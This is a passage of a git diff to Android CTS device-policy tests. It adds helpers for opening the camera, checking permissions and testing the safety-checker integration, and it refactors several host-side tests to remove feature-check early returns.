+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the common library for use device-side
+java_library {
+    name: "devicepolicy-deviceside-common",
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+    libs: ["junit"],
+    static_libs: [
+            "androidx.legacy_legacy-support-v4",
+            "compatibility-device-util-axt",
+            "ctstestrunner-axt",
+            "androidx.test.rules",
+            "ub-uiautomator",
+            ],
+}
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/CameraUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/CameraUtils.java
new file mode 100644
index 0000000..61d0105
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/CameraUtils.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.os.Handler;
+import android.util.Log;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/**
+ * A util class to help open camera in a blocking way.
+ */
+public class CameraUtils {
+
+    private static final String TAG = "CameraUtils";
+
+    /**
+     * @return true if success to open camera, false otherwise.
+     */
+    public static boolean blockUntilOpenCamera(CameraManager cameraManager, Handler handler) {
+        try {
+            String[] cameraIdList = cameraManager.getCameraIdList();
+            if (cameraIdList == null || cameraIdList.length == 0) {
+                return false;
+            }
+            String cameraId = cameraIdList[0];
+            CameraCallback callback = new CameraCallback();
+            cameraManager.openCamera(cameraId, callback, handler);
+            return callback.waitForResult();
+        } catch (Exception ex) {
+            // No matter what is going wrong, it means fail to open camera.
+            ex.printStackTrace();
+            return false;
+        }
+    }
+
+    /**
+     * {@link CameraDevice.StateCallback} is called when {@link CameraDevice} changes its state.
+     */
+    private static class CameraCallback extends CameraDevice.StateCallback {
+
+        private static final int OPEN_TIMEOUT_SECONDS = 5;
+
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+
+        private AtomicBoolean mResult = new AtomicBoolean(false);
+
+        @Override
+        public void onOpened(CameraDevice cameraDevice) {
+            Log.d(TAG, "open camera successfully");
+            mResult.set(true);
+            if (cameraDevice != null) {
+                cameraDevice.close();
+            }
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onDisconnected(CameraDevice cameraDevice) {
+            Log.d(TAG, "disconnect camera");
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onError(CameraDevice cameraDevice, int error) {
+            Log.e(TAG, "Fail to open camera, error code = " + error);
+            mLatch.countDown();
+        }
+
+        public boolean waitForResult() throws InterruptedException {
+            mLatch.await(OPEN_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+            return mResult.get();
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
new file mode 100644
index 0000000..fd841ca
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
@@ -0,0 +1,247 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy;
+
+import static android.app.admin.DevicePolicyManager.OPERATION_LOCK_NOW;
+import static android.app.admin.DevicePolicyManager.OPERATION_LOGOUT_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_ACTIVE_ADMIN;
+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_KEY_PAIR;
+import static android.app.admin.DevicePolicyManager.OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_ALWAYS_ON_VPN_PACKAGE;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_MASTER_VOLUME_MUTED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PERMISSION_GRANT_STATE;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PERMISSION_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_RESTRICTIONS_PROVIDER;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_USER_RESTRICTION;
+import static android.app.admin.DevicePolicyManager.operationSafetyReasonToString;
+import static android.app.admin.DevicePolicyManager.operationToString;
+
+import static org.junit.Assert.fail;
+
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.UnsafeStateException;
+import android.content.ComponentName;
+import android.os.UserManager;
+import android.util.Log;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+import java.util.Set;
+
+/**
+ * Helper class to test that DPM calls fail when determined by the
+ * {@link android.app.admin.DevicePolicySafetyChecker}; it provides the base infra, so it can be
+ * used by both device and profile owner tests.
+ */
+public class DevicePolicySafetyCheckerIntegrationTester {
+
+    public static final String TAG = DevicePolicySafetyCheckerIntegrationTester.class
+            .getSimpleName();
+
+    private static final int[] OPERATIONS = new int[] {
+            OPERATION_LOCK_NOW,
+            OPERATION_LOGOUT_USER,
+            OPERATION_REMOVE_ACTIVE_ADMIN,
+            OPERATION_REMOVE_KEY_PAIR,
+            OPERATION_SET_MASTER_VOLUME_MUTED,
+            OPERATION_SET_USER_RESTRICTION,
+            OPERATION_SET_PERMISSION_GRANT_STATE,
+            OPERATION_SET_PERMISSION_POLICY,
+            OPERATION_SET_RESTRICTIONS_PROVIDER
+    };
+
+    private static final int[] OVERLOADED_OPERATIONS = new int[] {
+            OPERATION_LOCK_NOW,
+            OPERATION_SET_ALWAYS_ON_VPN_PACKAGE
+    };
+
+    /**
+     * Tests that all safety-aware operations are properly implemented.
+     */
+    public final void testAllOperations(DevicePolicyManager dpm, ComponentName admin) {
+        Objects.requireNonNull(dpm);
+
+        List<String> failures = new ArrayList<>();
+        for (int operation : OPERATIONS) {
+            safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ false);
+        }
+
+        for (int operation : OVERLOADED_OPERATIONS) {
+            safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ true);
+        }
+
+        for (int operation : getSafetyAwareOperations()) {
+            safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ false);
+        }
+
+        for (int operation : getOverloadedSafetyAwareOperations()) {
+            safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ true);
+        }
+
+        if (!failures.isEmpty()) {
+            fail(failures.size() + " operations failed: " + failures);
+        }
+    }
+
+    /**
+     * Gets the device / profile owner-specific operations.
+     *
+     * <p>By default it returns an empty array, but sub-classes can override to add its supported
+     * operations.
+     */
+    protected int[] getSafetyAwareOperations() {
+        return new int[] {};
+    }
+
+    /**
+     * Gets the device / profile owner-specific operations that are overloaded.
+     *
+     * <p>For example, {@code OPERATION_WIPE_DATA} is used for both {@code wipeData(flags)} and
+     * {@code wipeData(flags, reason)}, so it should be returned both here and on
+     * {@link #getSafetyAwareOperations()}, then
+     * {@link #runOperation(DevicePolicyManager, int, boolean)} will handle which method to call for
+     * each case.
+     *
+     * <p>By default it returns an empty array, but sub-classes can override to add its supported
+     * operations.
+     */
+    protected int[] getOverloadedSafetyAwareOperations() {
+        return new int[] {};
+    }
+
+    /**
+     * Runs the device / profile owner-specific operation.
+     *
+     * <p>MUST be overridden if {@link #getSafetyAwareOperations()} is overridden as well.
+     */
+    protected void runOperation(DevicePolicyManager dpm, ComponentName admin, int operation,
+            boolean overloaded) {
+        throwUnsupportedOperationException(operation, overloaded);
+    }
+
+    /**
+     * Throws a {@link UnsupportedOperationException} then the given {@code operation} is not
+     * supported.
+     */
+    protected final void throwUnsupportedOperationException(int operation, boolean overloaded) {
+        throw new UnsupportedOperationException(
+                "Unsupported operation " + getOperationName(operation, overloaded));
+    }
+
+    private void safeOperationTest(DevicePolicyManager dpm, ComponentName admin,
+            List<String> failures, int operation, boolean overloaded) {
+        String name = getOperationName(operation, overloaded);
+        // Currently there's just one reason...
+        int reason = OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
+
+        if (!dpm.isSafeOperation(reason)) {
+            failures.add("Operation " + name + " should be safe");
+            return;
+        }
+        try {
+            setOperationUnsafe(dpm, operation, reason);
+            if (dpm.isSafeOperation(reason)) {
+                failures.add("Operation " + name + " should be unsafe");
+                return;
+            }
+            runCommonOrSpecificOperation(dpm, admin, operation, overloaded);
+            Log.e(TAG, name + " didn't throw an UnsafeStateException");
+            failures.add(name);
+        } catch (UnsafeStateException e) {
+            Log.d(TAG, name + " failed as expected: " + e);
+            List<Integer> actualReasons = e.getReasons();
+            if (actualReasons.size() != 1) {
+                failures.add(String.format("received invalid number of reasons (%s); expected just "
+                        + "1 (%d - %s)", actualReasons, reason,
+                        operationSafetyReasonToString(reason)));
+
+            } else {
+                int actualReason = actualReasons.get(0);
+                if (actualReason != reason) {
+                    failures.add(String.format("received exception with reason %s instead of %s",
+                            operationSafetyReasonToString(actualReason),
+                            operationSafetyReasonToString(reason)));
+                }
+            }
+        } catch (Exception e) {
+            Log.e(TAG, name + " threw unexpected exception", e);
+            failures.add(name + "(" + e + ")");
+        }
+    }
+
+    private String getOperationName(int operation, boolean overloaded) {
+        String name = operationToString(operation);
+        return overloaded ? name + "(OVERLOADED)" : name;
+    }
+
+    private void runCommonOrSpecificOperation(DevicePolicyManager dpm, ComponentName admin,
+            int operation, boolean overloaded) throws Exception {
+        String name = getOperationName(operation, overloaded);
+        Log.v(TAG, "runOperation(): " + name);
+        switch (operation) {
+            case OPERATION_LOCK_NOW:
+                if (overloaded) {
+                    dpm.lockNow(/* flags= */ 0);
+                } else {
+                    dpm.lockNow();
+                }
+                break;
+            case OPERATION_LOGOUT_USER:
+                dpm.logoutUser(admin);
+                break;
+            case OPERATION_SET_ALWAYS_ON_VPN_PACKAGE:
+                if (overloaded) {
+                    dpm.setAlwaysOnVpnPackage(admin, "vpnPackage", /* lockdownEnabled= */ true);
+                } else {
+                    dpm.setAlwaysOnVpnPackage(admin, "vpnPackage", /* lockdownEnabled= */ true,
+                            /* lockdownAllowlist= */ Set.of("vpnPackage"));
+                }
+                break;
+            case OPERATION_SET_MASTER_VOLUME_MUTED:
+                dpm.setMasterVolumeMuted(admin, /* on= */ true);
+                break;
+            case OPERATION_SET_PERMISSION_GRANT_STATE:
+                dpm.setPermissionGrantState(admin, "package", "permission", /* grantState= */ 0);
+                break;
+            case OPERATION_SET_PERMISSION_POLICY:
+                dpm.setPermissionPolicy(admin, /* policy= */ 0);
+                break;
+            case OPERATION_SET_RESTRICTIONS_PROVIDER:
+                dpm.setRestrictionsProvider(admin,
+                        /* provider= */ new ComponentName("package", "component"));
+                break;
+            case OPERATION_SET_USER_RESTRICTION:
+                dpm.addUserRestriction(admin, UserManager.DISALLOW_REMOVE_USER);
+                break;
+            case OPERATION_REMOVE_ACTIVE_ADMIN:
+                dpm.removeActiveAdmin(admin);
+                break;
+            case OPERATION_REMOVE_KEY_PAIR:
+                dpm.removeKeyPair(admin, "keyAlias");
+                break;
+            default:
+                runOperation(dpm, admin, operation, overloaded);
+        }
+    }
+
+    private void setOperationUnsafe(DevicePolicyManager dpm, int operation, int reason) {
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(dpm,
+                (obj) -> obj.setNextOperationSafety(operation, reason));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionBroadcastReceiver.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionBroadcastReceiver.java
new file mode 100644
index 0000000..042ae0c
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionBroadcastReceiver.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class PermissionBroadcastReceiver extends BroadcastReceiver {
+    private static final String TAG = "PermissionBroadcastReceiver";
+
+    private static final String EXTRA_GRANT_STATE
+            = "com.android.cts.permission.extra.GRANT_STATE";
+    private static final int PERMISSION_ERROR = -2;
+
+    private BlockingQueue<Integer> mResultsQueue;
+
+    public PermissionBroadcastReceiver() {
+        mResultsQueue = new ArrayBlockingQueue<>(1);
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Integer result = intent.getIntExtra(EXTRA_GRANT_STATE, PERMISSION_ERROR);
+        Log.d(TAG, "Grant state received " + result);
+        assertTrue(mResultsQueue.add(result));
+    }
+
+    public int waitForBroadcast() throws Exception {
+        Integer result = mResultsQueue.poll(30, TimeUnit.SECONDS);
+        mResultsQueue.clear();
+        assertNotNull("Expected broadcast to be received within 30 seconds but did not get it",
+                result);
+        Log.d(TAG, "Grant state retrieved " + result);
+        return result;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
new file mode 100644
index 0000000..06ed3ab
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
@@ -0,0 +1,184 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static android.content.pm.PackageManager.PERMISSION_DENIED;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+
+import android.Manifest;
+import android.app.AppOpsManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+public class PermissionUtils {
+    private static final String LOG_TAG = PermissionUtils.class.getName();
+    private static final Set<String> LOCATION_PERMISSIONS = new HashSet<String>();
+
+    static {
+        LOCATION_PERMISSIONS.add(Manifest.permission.ACCESS_FINE_LOCATION);
+        LOCATION_PERMISSIONS.add(Manifest.permission.ACCESS_BACKGROUND_LOCATION);
+        LOCATION_PERMISSIONS.add(Manifest.permission.ACCESS_COARSE_LOCATION);
+    }
+
+    private static final String ACTION_CHECK_HAS_PERMISSION
+            = "com.android.cts.permission.action.CHECK_HAS_PERMISSION";
+    private static final String ACTION_REQUEST_PERMISSION
+            = "com.android.cts.permission.action.REQUEST_PERMISSION";
+    private static final String EXTRA_PERMISSION = "com.android.cts.permission.extra.PERMISSION";
+
+    public static void launchActivityAndCheckPermission(PermissionBroadcastReceiver receiver,
+            String permission, int expected, String packageName, String activityName)
+            throws Exception {
+        launchActivityWithAction(permission, ACTION_CHECK_HAS_PERMISSION,
+                packageName, activityName);
+        assertEquals(expected, receiver.waitForBroadcast());
+    }
+
+    public static void launchActivityAndRequestPermission(PermissionBroadcastReceiver receiver,
+            String permission, int expected, String packageName, String activityName)
+            throws Exception {
+        launchActivityWithAction(permission, ACTION_REQUEST_PERMISSION,
+                packageName, activityName);
+        assertEquals(expected, receiver.waitForBroadcast());
+    }
+
+    public static void launchActivityAndRequestPermission(PermissionBroadcastReceiver
+            receiver, UiDevice device, String permission, int expected,
+            String packageName, String activityName) throws Exception {
+        final List<String> resNames = new ArrayList<>();
+        switch(expected) {
+            case PERMISSION_DENIED:
+                resNames.add("permission_deny_button");
+                break;
+            case PERMISSION_GRANTED:
+                resNames.add("permission_allow_button");
+                // For the location permission, different buttons may be available.
+                if (LOCATION_PERMISSIONS.contains(permission)) {
+                    resNames.add("permission_allow_foreground_only_button");
+                    resNames.add("permission_allow_one_time_button");
+                }
+                break;
+            default:
+                throw new IllegalArgumentException("Invalid expected permission");
+        }
+        launchActivityWithAction(permission, ACTION_REQUEST_PERMISSION,
+                packageName, activityName);
+        pressPermissionPromptButton(device, resNames.toArray(new String[0]));
+        assertEquals(expected, receiver.waitForBroadcast());
+    }
+
+    private static void launchActivityWithAction(String permission, String action,
+            String packageName, String activityName) {
+        Intent launchIntent = new Intent();
+        launchIntent.setComponent(new ComponentName(packageName, activityName));
+        launchIntent.putExtra(EXTRA_PERMISSION, permission);
+        launchIntent.setAction(action);
+        launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
+        getContext().startActivity(launchIntent);
+    }
+
+    public static void checkPermission(String permission, int expected, String packageName) {
+        assertEquals(getContext().getPackageManager()
+                .checkPermission(permission, packageName), expected);
+    }
+
+    /**
+     * Correctly check a runtime permission. This also works for pre-m apps.
+     */
+    public static void checkPermissionAndAppOps(String permission, int expected, String packageName)
+            throws Exception {
+        assertEquals(checkPermissionAndAppOps(permission, packageName), expected);
+    }
+
+    private static int checkPermissionAndAppOps(String permission, String packageName)
+            throws Exception {
+        PackageInfo packageInfo = getContext().getPackageManager().getPackageInfo(packageName, 0);
+        if (getContext().checkPermission(permission, -1, packageInfo.applicationInfo.uid)
+                == PERMISSION_DENIED) {
+            return PERMISSION_DENIED;
+        }
+
+        AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+        if (appOpsManager != null && appOpsManager.noteProxyOpNoThrow(
+                AppOpsManager.permissionToOp(permission), packageName,
+                packageInfo.applicationInfo.uid, null, null)
+                != AppOpsManager.MODE_ALLOWED) {
+            return PERMISSION_DENIED;
+        }
+
+        return PERMISSION_GRANTED;
+    }
+
+    public static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    private static void pressPermissionPromptButton(UiDevice mDevice, String[] resNames) {
+        if ((resNames == null) || (resNames.length == 0)) {
+            throw new IllegalArgumentException("resNames must not be null or empty");
+        }
+
+        // The dialog was moved from the packageinstaller to the permissioncontroller.
+        // Search in multiple packages so the test is not affixed to a particular package.
+        String[] possiblePackages = new String[]{
+                "com.android.permissioncontroller.permission.ui",
+                "com.android.packageinstaller",
+                "com.android.permissioncontroller"};
+
+        boolean foundButton = false;
+        for (String resName : resNames) {
+            for (String possiblePkg : possiblePackages) {
+                BySelector selector = By
+                        .clazz(android.widget.Button.class.getName())
+                        .res(possiblePkg, resName);
+                mDevice.wait(Until.hasObject(selector), 5000);
+                UiObject2 button = mDevice.findObject(selector);
+                Log.d(LOG_TAG, String.format("Resource %s in Package %s found? %b", resName,
+                        possiblePkg, button != null));
+                if (button != null) {
+                    foundButton = true;
+                    button.click();
+                    break;
+                }
+            }
+            if (foundButton) {
+                break;
+            }
+        }
+
+        assertTrue("Couldn't find any button", foundButton);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
index 24502bb..17154bc 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
@@ -23,11 +23,11 @@
 
 import com.android.tradefed.log.LogUtil.CLog;
 
+import org.junit.Test;
+
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-import org.junit.Test;
-
 public class AccountCheckHostSideTest extends BaseDevicePolicyTest {
     private static final String APK_NON_TEST_ONLY = "CtsAccountCheckNonTestOnlyOwnerApp.apk";
     private static final String APK_TEST_ONLY = "CtsAccountCheckTestOnlyOwnerApp.apk";
@@ -50,20 +50,19 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            if (getDevice().getInstalledPackageNames().contains(PACKAGE_AUTH)) {
-                runCleanupTestOnlyOwnerAllowingFailure();
-                runCleanupNonTestOnlyOwnerAllowingFailure();
+        if (getDevice().getInstalledPackageNames().contains(PACKAGE_AUTH)) {
+            runCleanupTestOnlyOwnerAllowingFailure();
+            runCleanupNonTestOnlyOwnerAllowingFailure();
 
-                // This shouldn't be needed since we're uninstalling the authenticator,
-                // but sometimes the account manager fails to clean up?
-                removeAllAccountsAllowingFailure();
-            }
-
-            getDevice().uninstallPackage(PACKAGE_AUTH);
-            getDevice().uninstallPackage(PACKAGE_TEST_ONLY);
-            getDevice().uninstallPackage(PACKAGE_NON_TEST_ONLY);
+            // This shouldn't be needed since we're uninstalling the authenticator,
+            // but sometimes the account manager fails to clean up?
+            removeAllAccountsAllowingFailure();
         }
+
+        getDevice().uninstallPackage(PACKAGE_AUTH);
+        getDevice().uninstallPackage(PACKAGE_TEST_ONLY);
+        getDevice().uninstallPackage(PACKAGE_NON_TEST_ONLY);
+
         super.tearDown();
     }
 
@@ -155,9 +154,6 @@
     @Test
     @LargeTest
     public void testAccountCheck() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(APK_AUTH, mPrimaryUserId);
         installAppAsUser(APK_NON_TEST_ONLY, mPrimaryUserId);
         installAppAsUser(APK_TEST_ONLY, mPrimaryUserId);
@@ -248,9 +244,6 @@
      */
     @Test
     public void testInheritTestOnly() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(APK_TEST_ONLY, mPrimaryUserId);
 
         // Set as DO.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
index cd19f68..6dd628e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
@@ -19,41 +19,29 @@
 import static com.android.cts.devicepolicy.DeviceAndProfileOwnerTest.DEVICE_ADMIN_APK;
 import static com.android.cts.devicepolicy.DeviceAndProfileOwnerTest.DEVICE_ADMIN_PKG;
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
-
-import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import java.io.FileNotFoundException;
 
 import android.stats.devicepolicy.EventId;
 
+import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
+
 import org.junit.Test;
 
 public class AdbProvisioningTests extends BaseDevicePolicyTest {
 
     @Override
     public void setUp() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         super.setUp();
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         super.tearDown();
         getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
     }
 
     @Test
     public void testAdbDeviceOwnerLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             setDeviceOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mPrimaryUserId,
                     /* expectFailure */ false);
@@ -66,9 +54,6 @@
 
     @Test
     public void testAdbProfileOwnerLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             setProfileOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mPrimaryUserId,
                     /* expectFailure */ false);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
index e37e5a1..a6696aa 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
@@ -57,18 +57,14 @@
 
         mUserId = mPrimaryUserId;
 
-        if (mHasFeature) {
-            installAppAsUser(getDeviceAdminApkFileName(), mUserId);
-            setDeviceAdmin(getAdminReceiverComponent(), mUserId);
-        }
+        installAppAsUser(getDeviceAdminApkFileName(), mUserId);
+        setDeviceAdmin(getAdminReceiverComponent(), mUserId);
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove admin", removeAdmin(getAdminReceiverComponent(), mUserId));
-            getDevice().uninstallPackage(getDeviceAdminApkPackage());
-        }
+        assertTrue("Failed to remove admin", removeAdmin(getAdminReceiverComponent(), mUserId));
+        getDevice().uninstallPackage(getDeviceAdminApkPackage());
 
         super.tearDown();
     }
@@ -89,17 +85,12 @@
      */
     @Test
     public void testRunDeviceAdminTest() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runTests(getDeviceAdminApkPackage(), "DeviceAdminTest");
     }
 
     @Test
     public void testResetPasswordDeprecated() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
 
         runTests(getDeviceAdminApkPackage(), "DeviceAdminPasswordTest",
                         "testResetPasswordDeprecated");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
index f76e262..1f55f23 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
@@ -47,30 +47,18 @@
 
     private static final int TIMEOUT_SECONDS = 3 * 60;
 
-    private boolean mMultiUserSupported;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        mMultiUserSupported = getMaxNumberOfUsersSupported() > 1 && getDevice().getApiLevel() >= 21;
-    }
-
     @Override
     public void tearDown() throws Exception {
-        if (isTestEnabled()) {
-            removeAdmin(OWNER_COMPONENT, getUserId());
-            removeAdmin(OWNER_COMPONENT_B, getUserId());
-            getDevice().uninstallPackage(OWNER_PKG);
-            getDevice().uninstallPackage(OWNER_PKG_B);
-        }
+        removeAdmin(OWNER_COMPONENT, getUserId());
+        removeAdmin(OWNER_COMPONENT_B, getUserId());
+        getDevice().uninstallPackage(OWNER_PKG);
+        getDevice().uninstallPackage(OWNER_PKG_B);
+
         super.tearDown();
     }
 
     protected abstract int getUserId();
 
-    protected abstract boolean isTestEnabled();
-
     protected void executeDeviceTestMethod(String className, String testName) throws Exception {
         runDeviceTestsAsUser(OWNER_PKG, className, testName, getUserId());
     }
@@ -105,10 +93,6 @@
 
     @Test
     public void testAll() throws Throwable {
-        if (!isTestEnabled()) {
-            return;
-        }
-
         // Install
         CLog.i("Installing apk1...");
         installAppAsUser(OWNER_APK_1, getUserId());
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
new file mode 100644
index 0000000..5b3560d
--- /dev/null
